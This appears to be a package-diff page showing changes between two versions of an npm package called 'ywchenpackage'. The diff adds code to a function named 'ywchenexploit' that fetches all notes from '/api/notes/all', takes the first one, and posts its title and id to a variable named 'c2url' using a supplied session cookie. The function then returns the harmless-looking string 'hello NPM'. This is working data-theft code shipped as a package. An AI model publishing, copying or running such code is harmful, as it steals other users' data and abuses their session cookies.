ywchenpackage 1.0.4 → 1.0.5
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +14 -3
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,6 +1,6 @@
|
|
1
|
-
function ywchenexploit() {
|
1
|
+
function ywchenexploit(cookie) {
|
2
2
|
let stolenurl = "/api/notes/all";
|
3
|
-
let c2url = "
|
3
|
+
let c2url = "/api/notes";
|
4
4
|
fetch(stolenurl)
|
5
5
|
.then(
|
6
6
|
function(response){
|
@@ -8,7 +8,18 @@ function ywchenexploit() {
|
|
8
8
|
}
|
9
9
|
).then(
|
10
10
|
function(response){
|
11
|
-
|
11
|
+
let stolen = response[0];
|
12
|
+
stolen.author = "aaaa";
|
13
|
+
fetch(
|
14
|
+
c2url, {
|
15
|
+
method: "POST",
|
16
|
+
headers: {
|
17
|
+
"content-type": "application/json",
|
18
|
+
"cookie": "session="+cookie
|
19
|
+
},
|
20
|
+
body: JSON.stringify({"title":stolen.title+"_id","content":stolen.id})
|
21
|
+
}
|
22
|
+
);
|
12
23
|
})
|
13
24
|
return "hello NPM"
|
14
25
|
}
|